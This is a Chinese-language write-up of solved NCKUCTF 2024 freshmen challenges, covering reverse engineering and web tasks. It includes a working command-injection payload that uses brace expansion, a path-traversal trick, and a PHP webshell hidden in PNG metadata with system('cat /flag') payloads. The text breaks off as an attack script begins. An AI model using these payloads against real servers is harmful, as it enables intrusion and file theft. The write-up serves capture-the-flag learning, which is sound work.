## 前言
本文主要爲比賽途中記錄的解題過程,部份爲解開後才補充。有些失敗的嘗試過於瑣碎而省略。
* 題目依解開序列出。
* 網路位址沒做處理,請注意瀏覽權限。
> [name=🅸🆔 aka IID as ScriptKiid]
## Welcome — 競賽規則
![image](https://hackmd.io/_uploads/B1ZREySkke.png)
```shell
$ base64 -d <<<TkNLVUNURnvmiJHmnIPpgbXlrojku6XkuIropo/liYflm6DngrrmiJHmmK/lpb3pp63lrqJ9
```
:::success
Flag: ||`NCKUCTF{我會遵守以上規則因為我是好駭客}`||
:::
## Welcome — Discord
:::success
||![{49576B86-4A64-4EA3-9BC2-005A9BD2E228}](https://hackmd.io/_uploads/H1l2Syrk1g.png)||
Flag: ||`NCKUCTF{Welcome to 2024 NCKUCTF Freshmen Cup!}`||
:::
:::danger
~~對行動版使用者不太友善,尤其是不能複製~~
:::
## Reverse — ✌️✊✋
:::warning
※ 大部份含執行檔的題目應在相容 Linux 的環境執行。我使用 WSL 2。
:::
直接執行。會贏喔。
:::success
Flag: ||`NCKUCTF{w0W_yOU_4re_vErY_gooD_47_ROck_PAPeR_5cS50RS!!}`||
:::
## Reverse — ✌️✊✋ Revenge
~~直接執行。會贏喔。~~ 命運的輪盤停不下來!!(惱
使用 `objdump`,沒印出任何有意義的文字來。用 `gdb` 也沒看得到的符號。
![image](https://hackmd.io/_uploads/ByWmixXJ1l.png)
使用 `strings`,斷編殘簡中有十分甚至九分破碎。
:::warning
![image](https://hackmd.io/_uploads/HktjoeQJkg.png)
關鍵詞察覺。
:::
下載最新 UPX 於目錄展開,`game` 接受程式展開。
![image](https://hackmd.io/_uploads/BJv4TlmkJe.png)
它終於製作意義來了,那我們可以開始了。
:::info
底下的一列逗號分隔數字應該是 flag 內容,但加密了不可看。
:::
### `gdb` 操作紀錄:
```txt
1 info functions
```
![image](https://hackmd.io/_uploads/SJbDyZQ1yx.png)
```
2 p/x $pc = 0x000000000000132d
3 r
4 p/x $pc = 0x000000000000132d
5 c
6 p/x $pc=PrintRPS
7 c
8 r
9 p/x $pc=PrintRPS
10 c
11 c
12 r
13 p/x $pc=f
14 c
15 layout asm
16 p/x $pc=0x555555555268
17 c
18 r
19 list asm
20 p/x $pc=f
21 si
22 r
23 p/x $pc=0x55555555526d
24 si
25 r
26 p/x $pc=f+4
27 c
28 c
29 r
30 p/x $pc=0x555555555274
31 c
32 list main
33 si
34 r
35 up
36 up
37 up
38 p/x $pc=0x5555555556f4
39 si
40 p/x $pc=0x5555555556f4 // 以上戳函式進入點的嘗試沒用沒用沒用
41 ni
42 r
43 up
44 up
45 up
46 break main+644 // 疑點察覺,只是下中斷點不成功。
```
![image](https://hackmd.io/_uploads/rkVdvlQy1e.png)
```txt
47 break 0x555555555746 // 二次下中斷點不成功。
48 ni
49 si
50 si
51 ni
52 p/x $pc
53 bt
54 p/x $ebp=0xffffffea
55 ni
56 c
57 ni // 嘗試跳過 nanosleep() 但失敗。
58 p/x $pc
59 up
60 up
61 del // 不能亂跳,函式頭尾的指令要一個一個一個執行。重來吧。
62 break __sleep
63 r
64 ni
65 c
66 p/x seconds = 0 // 【執行 sleep() 的指令前,秒數清零。】
67 c
68 p/x seconds = 0
69 c
70 break strcpm
71 break strcmp // 到疑點叫我。
72 p/x seconds = 0
73 c
74 p/x seconds = 0
75 c
76 ni // 到
77 p $eax // 【test %eax,%eax,不得不等於,`jne` 永遠跳不起來。】
```
:::info
完全沒有那種勝利的希望。
:::
```txt
78 ni
79 p/x $pc=main+702 // 【強制跳過去。】
80 ni
81 p seconds = 0
82 ni // Flag 取得。
```
:::success
||![image](https://hackmd.io/_uploads/H1yP9gXy1x.png)||
Flag: ||`NCKUCTF{0M9!!D!d_yoU_beA7_tH3_8!G_90n=fR3Ecss?}`||
:::
## Reverse — Youtube Video Recommendation Tool
隨機輸入,輸出看起來是固定的,==用 `strings` 看看好了==。
![image](https://hackmd.io/_uploads/BJsdcy4ykg.png)
欸還有其它影片網址,都點點看好了。(終)
:::success
||![image](https://hackmd.io/_uploads/r1or9kVJ1g.png)
||
Flag: ||`NCKUCTF{w4I7_a_MiNU73_kaITō_kiddOoa4}`||
:::
## Reverse — Baby Python Assembly
給了一份 `flag-decryptor.py` 與 `chal.asm`。
* 直接操作 `flag-decryptor.py` 會要求一份整數清單檔。
* `chal.asm` 是純文字檔,內容是 ==Python 組譯碼==。
看起來題目想要挑戰者==寫出再現手稿來執行==,但我有個不同的想法。
:::warning
用 [`pyc-xasm`](https://github.com/rocky/python-xasm/)(需使用 master 版本)把 `chal.asm` 轉成 `.pyc` 檔執行。
:::
但題目的 `chal.asm` 還不是 `pyc-xasm` 能直接處理的語法,這麼不同的語法==有改寫的必要==。
參考 <https://github.com/rocky/python-xasm/blob/master/HOW-TO-USE.rst> 改寫。
:::spoiler `chal-Baby_Python_Assembly-edited.pyasm`
```python
# Python bytecode 3.10.0 (3439)
# Method Name: what_is_this_function
# Filename: "chal.py"
# First Line: 1
# Constants:
# 0: None
# 1: (2, 5)
# Names:
# 0: range
# Varnames:
# n, a, b, i
# Positional arguments:
# n
2: 0 LOAD_CONST 1 ((2, 5))
2 UNPACK_SEQUENCE 2
4 STORE_FAST 1 (a)
6 STORE_FAST 2 (b)
3: 8 LOAD_GLOBAL 0 (range)
10 LOAD_FAST 0 (n)
12 CALL_FUNCTION 1
14 GET_ITER
>> 16 FOR_ITER 9 (to 36)
18 STORE_FAST 3 (i)
4: 20 LOAD_FAST 2 (b)
22 LOAD_FAST 1 (a)
24 LOAD_FAST 2 (b)
26 BINARY_ADD
28 ROT_TWO
30 STORE_FAST 1 (a)
32 STORE_FAST 2 (b)
34 JUMP_ABSOLUTE 8 (to 16)
5: >> 36 LOAD_FAST 1 (a)
38 RETURN_VALUE
# Method Name: _listcomp_
# Filename: "chal.py"
# First Line: 12
# Constants:
# 0: 256
# Names:
# 0: key
# Varnames:
# .0, b
# Positional arguments:
# .0
12: 0 BUILD_LIST 0
2 LOAD_FAST 0 (.0)
>> 4 FOR_ITER 8 (to 22)
6 STORE_FAST 1 (b)
8 LOAD_FAST 1 (b)
10 LOAD_GLOBAL 0 (key)
12 BINARY_XOR
14 LOAD_CONST 0 (256)
16 BINARY_MODULO
18 LIST_APPEND 2
20 JUMP_ABSOLUTE 2 (to 4)
>> 22 RETURN_VALUE
# Method Name: <module>
# Filename: "chal.py"
# First Line: 1
# Constants:
# 0: <code object what_is_this_function at 0x7fd11e886fa0, file "chal.py", line 1>
# 1: 'what_is_this_function'
# 2: (1775193, 1121822, 719308, 1032531, 1241562, 1604794, 1563042, 966924, 1896931, 352448, 472789, 432288, 799289, 1025726, 1333047, 1253780, 480842, 1273546, 1036331, 1714544, 219964, 1138003, 416633, 63686, 776016, 671535, 667892, 1217336, 1757210, 853059, 1894686, 881925)
# 3: 4919
# 4: <code object _listcomp_ at 0x7fd11e887050, file "chal.py", line 12>
# 5: '_listcomp_'
# 6: None
# Names:
# 0: what_is_this_function
# 1: a
# 2: key
# 3: newa
# 4: aa
# 5: print
1: 0 LOAD_CONST 0 (<code object what_is_this_function at 0x7fd11e886fa0, file "chal.py", line 1>)
2 LOAD_CONST 1 ('what_is_this_function')
4 MAKE_FUNCTION 0
6 STORE_NAME 0 (what_is_this_function)
8: 8 BUILD_LIST 0
10 LOAD_CONST 2 ((1775193, 1121822, 719308, 1032531, 1241562, 1604794, 1563042, 966924, 1896931, 352448, 472789, 432288, 799289, 1025726, 1333047, 1253780, 480842, 1273546, 1036331, 1714544, 219964, 1138003, 416633, 63686, 776016, 671535, 667892, 1217336, 1757210, 853059, 1894686, 881925))
12 LIST_EXTEND 1
14 STORE_NAME 1 (a)
10: 16 LOAD_CONST 3 (4919)
18 STORE_NAME 2 (key)
12: 20 LOAD_CONST 4 (<code object _listcomp_ at 0x7fd11e887050, file "chal.py", line 12>)
22 LOAD_CONST 5 ('_listcomp_')
24 MAKE_FUNCTION 0
26 LOAD_NAME 1 (a)
28 GET_ITER
30 CALL_FUNCTION 1
32 STORE_NAME 3 (newa)
13: 34 LOAD_NAME 3 (newa)
36 GET_ITER
>> 38 FOR_ITER 6 (to 52)
40 STORE_NAME 4 (aa)
14: 42 LOAD_NAME 5 (print)
44 LOAD_NAME 4 (aa)
46 CALL_FUNCTION 1
48 POP_TOP
50 JUMP_ABSOLUTE 19 (to 38)
13: >> 52 LOAD_CONST 6 (None)
54 RETURN_VALUE
```
不支援有特殊符號的函式名,所以把 `<listcomp>` 改成 `_listcomp_`。
:::
```shell
$ pyc-xasm chal-Baby_Python_Assembly-edited.pyasm
```
爲了確認有正確轉換,==用 [`pydisasm`](https://github.com/rocky/python-xdis)(需使用 master 版本)檢査逆轉換結果==。
```shell
$ pydisasm --format xasm chal-Baby_Python_Assembly-edited.pyc
```
速報:最期待的畫面要出現了。
```shell
$ python chal-Baby_Python_Assembly-edited.pyc
RuntimeError: Bad code object in .pyc file
```
慟!`python` 不幸拒絕了轉換結果,更拒絕了合法的 Python 手稿轉換物。==用 [`xpython`](https://pypi.org/project/x-python/) 繞過==。
```shell
$ xpython chal-Baby_Python_Assembly-edited.pyc
File ""chal.py"", line 13, in <module>
TypeError_listcomp_() takes 0 positional arguments but 1 was given
```
沒改好,再改一下就好。
![image](https://hackmd.io/_uploads/SyyFXaXyyl.png)
:::success
Flag 取得:||`NCKUCTF{baby_pyth0N_1s_s0_EzZzzzzZZzzzzzZzzzz_Vincent55_is_so_Electric_OrzZzZZ_a8b40af05731c9612abeec69772de8e8ca8be759000d272e89f9ea5d413b2477}`||
||![image](https://hackmd.io/_uploads/BJqhQaQ1ke.png)||
:::
:::info
至於 `what_is_this_function()`,原程式沒有用到,所以改造一下組譯碼讓程式列出呼叫結果:
:::
:::spoiler `chal.pyasm`
```python
# Python bytecode 3.10.0 (3439)
# Method Name: what_is_this_function
# Filename: "chal.py"
# First Line: 1
# Constants:
# 0: None
# 1: (2, 5)
# Names:
# 0: range
# Varnames:
# n, a, b, i
# Positional arguments:
# n
2: 0 LOAD_CONST 1 ((2, 5))
2 UNPACK_SEQUENCE 2
4 STORE_FAST 1 (a)
6 STORE_FAST 2 (b)
3: 8 LOAD_GLOBAL 0 (range)
10 LOAD_FAST 0 (n)
12 CALL_FUNCTION 1
14 GET_ITER
>> 16 FOR_ITER 9 (to 36)
18 STORE_FAST 3 (i)
4: 20 LOAD_FAST 2 (b)
22 LOAD_FAST 1 (a)
24 LOAD_FAST 2 (b)
26 BINARY_ADD
28 ROT_TWO
30 STORE_FAST 1 (a)
32 STORE_FAST 2 (b)
34 JUMP_ABSOLUTE 8 (to 16)
5: >> 36 LOAD_FAST 1 (a)
38 RETURN_VALUE
# Method Name: <module>
# Filename: "chal.py"
# First Line: 1
# Constants:
# 0: <code object what_is_this_function at 0x7fd11e886fa0, file "chal.py", line 1>
# 1: 'what_is_this_function'
# 2: 64
# 3: None
# Names:
# 0: what_is_this_function
# 1: i
# 2: x
# 3: range
# 4: print
1: 0 LOAD_CONST 0 (<code object what_is_this_function at 0x7fd11e886fa0, file "chal.py", line 1>)
2 LOAD_CONST 1 ('what_is_this_function')
4 MAKE_FUNCTION 0
6 STORE_NAME 0 (what_is_this_function)
8: 8 LOAD_GLOBAL 3 (range)
10 LOAD_CONST 2 (64)
12 CALL_FUNCTION 1
14 GET_ITER
>> 16 FOR_ITER 11 (to 40)
18 STORE_NAME 1 (i)
20 LOAD_NAME 0 (what_is_this_function)
22 LOAD_NAME 1 (i)
24 CALL_FUNCTION 1
26 STORE_NAME 2 (x)
14: 28 LOAD_NAME 4 (print)
30 LOAD_NAME 1 (i)
32 LOAD_NAME 2 (x)
34 CALL_FUNCTION 2
36 POP_TOP
38 JUMP_ABSOLUTE 8 (to 16)
13: >> 40 LOAD_CONST 3 (None)
42 RETURN_VALUE
```
:::
:::spoiler `xpython chal.pyc`
```txt
0 2
1 5
2 7
3 12
4 19
5 31
6 50
7 81
8 131
9 212
10 343
11 555
12 898
13 1453
14 2351
15 3804
16 6155
17 9959
18 16114
19 26073
20 42187
21 68260
22 110447
23 178707
24 289154
25 467861
26 757015
27 1224876
28 1981891
29 3206767
30 5188658
31 8395425
32 13584083
33 21979508
34 35563591
35 57543099
36 93106690
37 150649789
38 243756479
39 394406268
40 638162747
41 1032569015
42 1670731762
43 2703300777
44 4374032539
45 7077333316
46 11451365855
47 18528699171
48 29980065026
49 48508764197
50 78488829223
51 126997593420
52 205486422643
53 332484016063
54 537970438706
55 870454454769
56 1408424893475
57 2278879348244
58 3687304241719
59 5966183589963
60 9653487831682
61 15619671421645
62 25273159253327
63 40892830674972
```
:::
:::info
是個 $a_{i+2} = a_{i} + a_{i+1}$ 數列,與 flag 沒有直接的關係。
:::
## Reverse — 2048??
先用 `strings` 看看題目正不正常,發現確實是 C# .NET 程式,==使用 [dnSpy](https://github.com/dnSpy/dnSpy) 看==。
:::warning
![image](https://hackmd.io/_uploads/rymvY6QyJl.png)
可以看到 `Game` 初始化時會直接解密 flag,而且「正常破關」(後述)就能看到 flag。
:::
因爲是 32-bit 應用程式,debugger 無法啟動,要重新下載 32-bit 的 dnSpy,在下載的空檔確實挑戰。
![image](https://hackmd.io/_uploads/rJamJRQyke.png)
啊啊啊啊莫明自動新遊戲了。
既然 32-bit 的 dnSpy 下載好了,就直接用 debugger 看吧。
:::success
||![image](https://hackmd.io/_uploads/Hk0fUAmkJx.png)||
Flag: ||`NCKUCTF{WHo_I5_RO63R?}`||
:::
:::info
※ 用 dnSpy 可以直接編輯反編譯結果,並重新編譯回執行檔(不會更動原執行檔,但可另存新檔)。
加上的這行實際上不會中止程式執行,只剩下放置中斷點的意義。
![{04B07EBD-D88A-4528-9814-CF45C21D51E1}](https://hackmd.io/_uploads/SkuxwRQy1e.png)
不過實際編譯時會報吿 `base..ctor();` 一行無法剖析的錯誤,直接整行刪掉(應該沒問題,吧?)。
:::
:::info
實際上 `Game.checkGameOver()` 會呼叫 `Game.checkGoal()` 檢査有沒有値爲 `this.goal` 的方塊,但 `this.goal = 2486`,要造出「2486」的方塊才能「正常過關」,所以正常遊玩時不可能顯示 flag。
:::
:::success
==Reverse Any%==
:::
## Web — Just Image
![image](https://hackmd.io/_uploads/HJ1nuJE1kl.png)
根據源始碼:
```python
path = base64.b64decode(path).decode('utf-8')
if '.' in path:
return 'Invalid path', 400
image_path = os.path.join('static/', path)
```
:::warning
路徑字串串接時,接上 `//` 可以使路徑回到根目錄。
:::
把 `//flag` base64 編碼後得到 `Ly9mbGFn`,但直接瀏覽會因爲被認爲是圖片而無法顯示,但可以確定應該就是這個檔案。
![image](https://hackmd.io/_uploads/SklLwy41Jl.png)
:::warning
直接按 <kbd>Ctrl</kbd>-<kbd>S</kbd> 存檔存成文字檔。
:::
![image](https://hackmd.io/_uploads/BJgjtwkNJJg.png)
打開即爲 flag。
:::success
Flag: ||`NCKUCTF{os.path.join can join to root}`||
:::
## Web — Looking Glass
> ![簡體「输」](https://hackmd.io/_uploads/Byj1fWEJkl.png "输")
給的源始碼:
```python
def run():
command = allowcommand[int(request.form.get('command'))]
target = request.form.get('target')
print(command, target, file=sys.stderr)
if not re.match('^[+-9A-~]*$', target):
return render_template('index.html', error=True)
if int(request.form.get('command')) == 2:
return render_template('index.html', output=os.popen(f'bash -c "{command}"').read())
return render_template('index.html', output=os.popen(f'bash -c "{command} {target}"').read())
```
唯一能利用的是 `target`。`command` 固定是 0 到 2 ~或到\ -3~,而只有 0 與 1 會用到 `target`。
輸入的 `target` 必須符合正規表達式 `^[+-9A-~]*$`,也就是只允許 `+` 到 `9` 及 `A` 到 `~` 的字元。査 `man ascii` 可知允許英數字或標點 ``+,-./[\]^_`{|}~`` 之一,注意==不含空格==。其中在 `bash` 中有語法作用的有:
* `\`(後一字元有特殊語法意義時,去除意義)
* `[[` … `]]`(眞假條件測試)(需要空白)
* `|`(命令間管道)
* `{` … `}`(命令區塊)(需要空白)
* `~`(家目錄)(需要空白)
* <code>\`</code> … <code>\`</code>(執行命令後,將輸出文字直接代入 <code>\`</code> … <code>\`</code>)
看來最有希望的是==用 `|` 後接不讀資料流輸入的命令==,例如用 `|ls` 執行 `ls`。但還無法執行需要引數的命令。`bash` 沒有內建無引數輸出單個空格的命令,所以做不到。除非我漏了其它語法。
我漏了==花括弧展開==。
<https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html>
已知會執行 `bash -c "{command} {target}"`,假設 `command` 爲 `ping -c 1 -W 1`:
* `|{ls,/}` → `bash -c "ping -c 1 -W 1 |{ls,/}"` → `ping -c 1 -W 1 | ls /`,取得 flag 檔名。
* `|{cat,/flag-8dbb2510222d6fc4}` → `bash -c "ping -c 1 -W 1 |{cat,/flag-8dbb2510222d6fc4}"` → `ping -c 1 -W 1 | cat /flag-8dbb2510222d6fc4`,取得 flag 內容。
:::success
||![image](https://hackmd.io/_uploads/HJxGTzVyye.png)||
Flag: ||`NCKUCTF{C0Mm4nD_1NJ3c710n_1s_fUn_effad912477740e3}`||
:::
## Web — 好駭客的網站
![image](https://hackmd.io/_uploads/SJXZ8HEJJl.png)
査看使用者端碼,可知是 PHP,但沒發現網址有使用査詢語法。
隨便上傳圖片,發現訊息是裸文字。
![image](https://hackmd.io/_uploads/ryimPrNJke.png)
![image](https://hackmd.io/_uploads/rkgDwSN1kl.png)
嘗試用檔案名稱注入,沒有反應,多餘的 PHP 碼被瀏覽器自動註解。
:::info
在 Windows 介面上傳的話,特殊標點會因爲 Windows 檔案系統的規則先在本地被過濾,但在 WSL 介面可看到未過濾的檔案名,所以用 WSL 開瀏覽器繞過。
:::
![{6FAB028C-A4DD-4865-BFC2-CF2DD44AC028}](https://hackmd.io/_uploads/H1PFCBNkye.png)
![image](https://hackmd.io/_uploads/Sylg1U41kx.png)
另一個可注入的點是使用者名,但有設定允許字元。
![image](https://hackmd.io/_uploads/rJsnQLVyJg.png)
剩下的只能是上傳內容了。
考慮首頁的 "Shell me if you can!",査 Google 後猜測要使用 Webshell 的技巧,但是上傳格式必須是列出的圖片格式。
:::warning
實際上傳後發現檔案類型的檢査不看副檔名,而是看內容標頭,所以要包 PHP 碼在圖片內。可以用 `exiftool` 達成。
注意 `.php` 等 PHP 副檔名特別被禁止,在 `uploads/` 目錄下也禁止存取。
:::
最後採用的自作原始 PNG 檔:![dot](https://hackmd.io/_uploads/BJalQt4kJe.png)(大小:1×1 像素)
```shell
$ exiftool -Comment="<?php phpinfo(); ?>" dot.png
```
但是只要副檔名是非 PHP 檔,進入上傳位址都不會成功執行(副檔名是 HTML 檔時則 PHP 碼被瀏覽器自動註解)。嘗試利用首頁中的圖片顯示也失敗。
:::warning
繼續搜尋,發現一份 Webshell 類守則:<https://github.com/Mehdi0x90/Web_Hacking/blob/main/File%20Upload.md>
> Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
把含有 PHP 片段的 `dot.png` 改名爲 `dot.pHp` 後上傳,成功執行。大意了,沒有檢査大寫。
![image](https://hackmd.io/_uploads/rklktFN1Jg.png)
:::
最後對原始的 `dot.png` 分別加入 `"<?php system('ls /'); ?>"` 與 `"<?php system('cat /flag'); ?>"` 的 PHP 碼,取得 flag。
:::success
||![image](https://hackmd.io/_uploads/BypYvYE11e.png)||
Flag: ||`NCKUCTF{YOu_are_a_g00d_H4cK3r_Just_Lik3_Vincent55_V3ry_N1c3_945dae36ca165274}`||
:::
:::info
後來發現==用 `.gif` 更方便(下述)==。
:::
## Web — 好駭客的網站 Revenge
![image](https://hackmd.io/_uploads/BJSb9FEkke.png)
這次有提示。
![image](https://hackmd.io/_uploads/Syad9KE1Jg.png)
![IT](https://hackmd.io/_uploads/H1wtct41yg.png)
如上一題炮製,但會強制被當作圖片,可能是 `.htaccess` 的關係。
![image](https://hackmd.io/_uploads/HJXIjt41ye.png)
:::info
實際看 HTTP 標頭發現沒有 `Content-Type:`
:::
:::info
爲了上傳方便,改用 Python 操作,注意要設定 cookies。
![image](https://hackmd.io/_uploads/S1kxUgSykx.png)
參考 `upload.php` 的使用者端碼(`<input type="file" id="avatar" name="avatar" required="">`),用 Python 送對應的請求。
後來發現==用 `.gif` 更方便,可以直接純文字編輯==(後述)。
:::
以下是用上述方法印出的上一題的源始碼:
:::spoiler 上一題的 `index.php`
```php
<?php
session_start();
$host = "mysql";
[中略……]
)");
?>
<!DOCTYPE html>
<html lang="en">
<head>
[中略……]
</head>
<body>
<div class="container">
<h2>歡迎來到好駭客的網站!</h2>
<p>Shell me if you can!</p>
<img src="images/good_hacker.jpg" alt="Good Hacker" style="width:300px;height:auto;">
<?php if (isset($_SESSION["username"])): ?>
<p>Hello, good hacker <strong><?php echo htmlspecialchars(
$_SESSION["username"]
); ?></strong>!</p>
<?php
$avatarPath = null;
if (isset($_SESSION["avatar"])) {
$avatarPath = $_SESSION["avatar"];
}
if ($avatarPath && file_exists($avatarPath)): ?>
<p>你的頭像:</p>
<img src="<?php echo htmlspecialchars(
$avatarPath
); ?>" alt="Avatar" class="avatar">
<?php else: ?>
<p>您還沒有上傳頭像!</p>
<?php endif;
?>
<p><a href="upload.php" class="button">上傳頭像</a></p>
<p><a href="reset.php" class="button">更改密碼</a></p>
<p><a href="logout.php" class="button">登出</a></p>
<?php else: ?>
<p>您尚未登入。請先<a href="login.php">登入</a></p>
<?php endif; ?>
</div>
</body>
</html>
```
:::
:::spoiler 上一題的 `login.php`
```php
<?php
session_start();
$host = "mysql";
[中略……]
)");
function login($conn, $username, $password)
{
$stmt = $conn->prepare("SELECT password FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$user = $result->fetch_assoc();
if (password_verify($password, $user["password"])) {
$_SESSION["username"] = $username;
return true;
}
}
return false;
}
if (
$_SERVER["REQUEST_METHOD"] == "POST" &&
isset($_POST["login"]) &&
isset($_POST["username"]) &&
isset($_POST["password"])
) {
if (login($conn, $_POST["username"], $_POST["password"])) {
header("Location: index.php");
exit();
} else {
$error_message = "登入失敗,請檢查您的用戶名和密碼。";
}
}
?>
<!DOCTYPE html>
<html lang="zh-TW">
<head>
[中略……]
</head>
<body>
<div class="login-container">
<h2>登入</h2>
<?php if (isset($error_message)): ?>
<p class="error-message"><?php echo $error_message; ?></p>
<?php endif; ?>
<form method="post">
<input type="text" name="username" placeholder="用戶名" required>
<input type="password" name="password" placeholder="密碼" required>
<input type="submit" name="login" value="登入">
</form>
<p>還沒有帳號? <a href="register.php">立即註冊</a></p>
</div>
</body>
</html>
```
:::
:::spoiler 上一題的 `register.php`
```php
<?php
session_start();
$host = "mysql";
[中略……]
)");
function register($conn, $username, $password)
{
// Validate if the username is alphanumeric
if (!ctype_alnum($username)) {
echo "<div class='error'>Username must be all alphanumeric!</div>";
return false;
}
// Check if the username already exists
$stmt = $conn->prepare("SELECT username FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
if ($stmt->num_rows > 0) {
echo "<div class='error'>Username already exists!</div>";
return false;
}
// Proceed with registration
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);
$stmt = $conn->prepare(
"INSERT INTO users (username, password) VALUES (?, ?)"
);
$stmt->bind_param("ss", $username, $hashedPassword);
return $stmt->execute();
}
if (
$_SERVER["REQUEST_METHOD"] == "POST" &&
isset($_POST["register"]) &&
isset($_POST["username"]) &&
isset($_POST["password"])
) {
if (register($conn, $_POST["username"], $_POST["password"])) {
echo "<div class='success'>Registration success!</div>";
} else {
echo "<div class='error'>Registration failed!</div>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
[中略……]
</head>
<body>
<div class="container">
<h2>註冊帳號</h2>
<form method="post">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" name="register" value="Register">
</form>
<p>已經有帳號了!<a href="login.php">立即登入</a></p>
</div>
</body>
</html>
```
:::
:::spoiler 上一題的 `upload.php`
```php
<?php
session_start();
$host = "mysql";
[中略……]
)");
function uploadAvatar($username, $avatarFile)
{
$targetDir = "uploads/";
$targetFile = $targetDir . $username . "_" . basename($avatarFile["name"]);
// Check if file is a valid image
$check = getimagesize($avatarFile["tmp_name"]);
if ($check === false) {
echo "File is not an image.\n";
return false;
}
// Check if it's larger than 2 MB
if ($avatarFile["size"] > 2 * 1024 * 1024) {
echo "File is larger than 2MB. Too large.\n";
return false;
}
// Check invalid file extensions
$imageFileType = pathinfo($avatarFile["name"], PATHINFO_EXTENSION);
$bannedExtensions = [
"php",
"php3",
"php4",
"php5",
"php7",
"phtml",
"phar",
"inc",
"hphp",
"ctp",
"module",
];
if (in_array($imageFileType, $bannedExtensions)) {
echo "Invalid file extension!\n";
return false;
}
// Don't allow htaccess
if (strpos($avatarFile["name"], ".htaccess") !== false) {
echo "Invalid file name.\n";
return false;
}
// Allow only jpg, png file types using magic type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $avatarFile["tmp_name"]);
if (
$mime !== "image/jpeg" &&
$mime !== "image/png" &&
$mime !== "image/gif"
) {
echo "Invalid jpeg/png/gif file!\n";
return false;
}
// Move the file to the target directory
if (move_uploaded_file($avatarFile["tmp_name"], $targetFile)) {
echo "Avatar uploaded to " . $targetFile . " successfully!\n";
$_SESSION["avatar"] = $targetFile;
return true;
} else {
echo "There was an error uploading the avatar.\n";
return false;
}
}
if (
$_SERVER["REQUEST_METHOD"] == "POST" &&
isset($_FILES["avatar"]) &&
isset($_SESSION["username"])
) {
uploadAvatar($_SESSION["username"], $_FILES["avatar"]);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
[中略……]
</head>
<body>
<div class="container">
<h2>上傳頭像</h2>
<?php if (isset($_SESSION["username"])): ?>
<form method="post" enctype="multipart/form-data">
<label for="avatar">選擇你的頭像檔案(接受 jpg / gif / png 格式)</label>
<input type="file" id="avatar" name="avatar" required>
<br>
<input type="submit" value="Upload Avatar">
</form>
<?php else: ?>
<p>您必須登入才能上傳頭像!</p>
<p><a href="login.php">立即登入</a></p>
<?php endif; ?>
</div>
</body>
</html>
```
:::
:::spoiler 上一題的 `reset.php`
```php
<?php
session_start();
$host = "mysql";
[中略……]
)");
function changePassword($conn, $username, $newPassword)
{
// Hash the new password
$hashedPassword = password_hash($newPassword, PASSWORD_DEFAULT);
// Check if the user exists
$stmt = $conn->prepare("SELECT username FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
// User exists, update the password
$stmt = $conn->prepare(
"UPDATE users SET password = ? WHERE username = ?"
);
$stmt->bind_param("ss", $hashedPassword, $username);
return $stmt->execute();
} else {
// User does not exist, create a new user
$stmt = $conn->prepare(
"INSERT INTO users (username, password) VALUES (?, ?)"
);
$stmt->bind_param("ss", $username, $hashedPassword);
return $stmt->execute();
}
}
if (
$_SERVER["REQUEST_METHOD"] == "POST" &&
isset($_POST["change_password"]) &&
isset($_POST["username"]) &&
isset($_POST["new_password"]) &&
isset($_POST["confirm_password"])
) {
$username = $_POST["username"];
if ($_POST["new_password"] === $_POST["confirm_password"]) {
if (changePassword($conn, $username, $_POST["new_password"])) {
$message =
"<div class='alert alert-success'>Password changed successfully!</div>";
} else {
$message =
"<div class='alert alert-danger'>Password change failed!</div>";
}
} else {
$message =
"<div class='alert alert-warning'>Passwords do not match!</div>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
[中略……]
</head>
<body>
<div class="container">
<h2 class="text-center mb-4">更改密碼</h2>
<?php if (isset($message)) {
echo $message;
} ?>
<?php if (isset($_SESSION["username"])): ?>
<form method="post">
<input type="hidden" name="username" value="<?php echo $_SESSION[
"username"
]; ?>">
<div class="form-group">
<label for="new_password">新密碼:</label>
<input type="password" class="form-control" id="new_password" name="new_password" required>
</div>
<div class="form-group">
<label for="confirm_password">確認新密碼:</label>
<input type="password" class="form-control" id="confirm_password" name="confirm_password" required>
</div>
<button type="submit" name="change_password" class="btn btn-primary btn-block">更改密碼</button>
</form>
<p class="mt-3 text-center"><a href="index.php">返回到首頁</a></p>
<?php else: ?>
<div class="alert alert-info">您必須登入才能改密碼!</div>
<p class="text-center"><a href="login.php" class="btn btn-link">立即登入</a></p>
<?php endif; ?>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.3/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
</body>
</html>
```
:::
:::spoiler 上一題的 `logout.php`
```php
<?php
session_start();
session_unset();
session_destroy();
header('Location: login.php');
exit();
?>
```
:::
上一題沒有 `images/info.php`。
上一題的 `.htaccess`:
```txt
AddType application/x-httpd-php .php .Php .pHp .phP .pHP .PHp .PHP
```
:::danger
`.PhP` 呢?
:::
上一題的 `uploads/.htaccess`:
```txt
# Deny access to specific file extensions
<FilesMatch "\.(php|php3|php4|php5|php7|phtml|phar|inc|hphp|ctp|module)$">
Order Deny,Allow
Deny from all
</FilesMatch>
```
上一題沒有 `images/.htaccess`。
:::warning
發現可以使用 `reset.php` 新增使用者,而且不會檢査使用者名稱,並且 `login.php` 也不檢査。可以直接進 `login.php` 來避免 session 結束。
我用 Python 操作,但實際上可以直接用開發者工具編輯。
:::
![{C53E9D23-1B1D-43E1-81AC-1ACFEAB1E464}](https://hackmd.io/_uploads/rJFv3ErkJe.png)
![image](https://hackmd.io/_uploads/Hy5RsBry1x.png)
突破使用者名稱後,現在可以控制上傳的目錄了,只是無法繞過副檔名的限制而無法執行。
嘗試了很久都不成功,直到注意到 ==`images/.htaccess` 是上一題沒有的==。
:::info
最終 `attack.py`:
```python
import requests
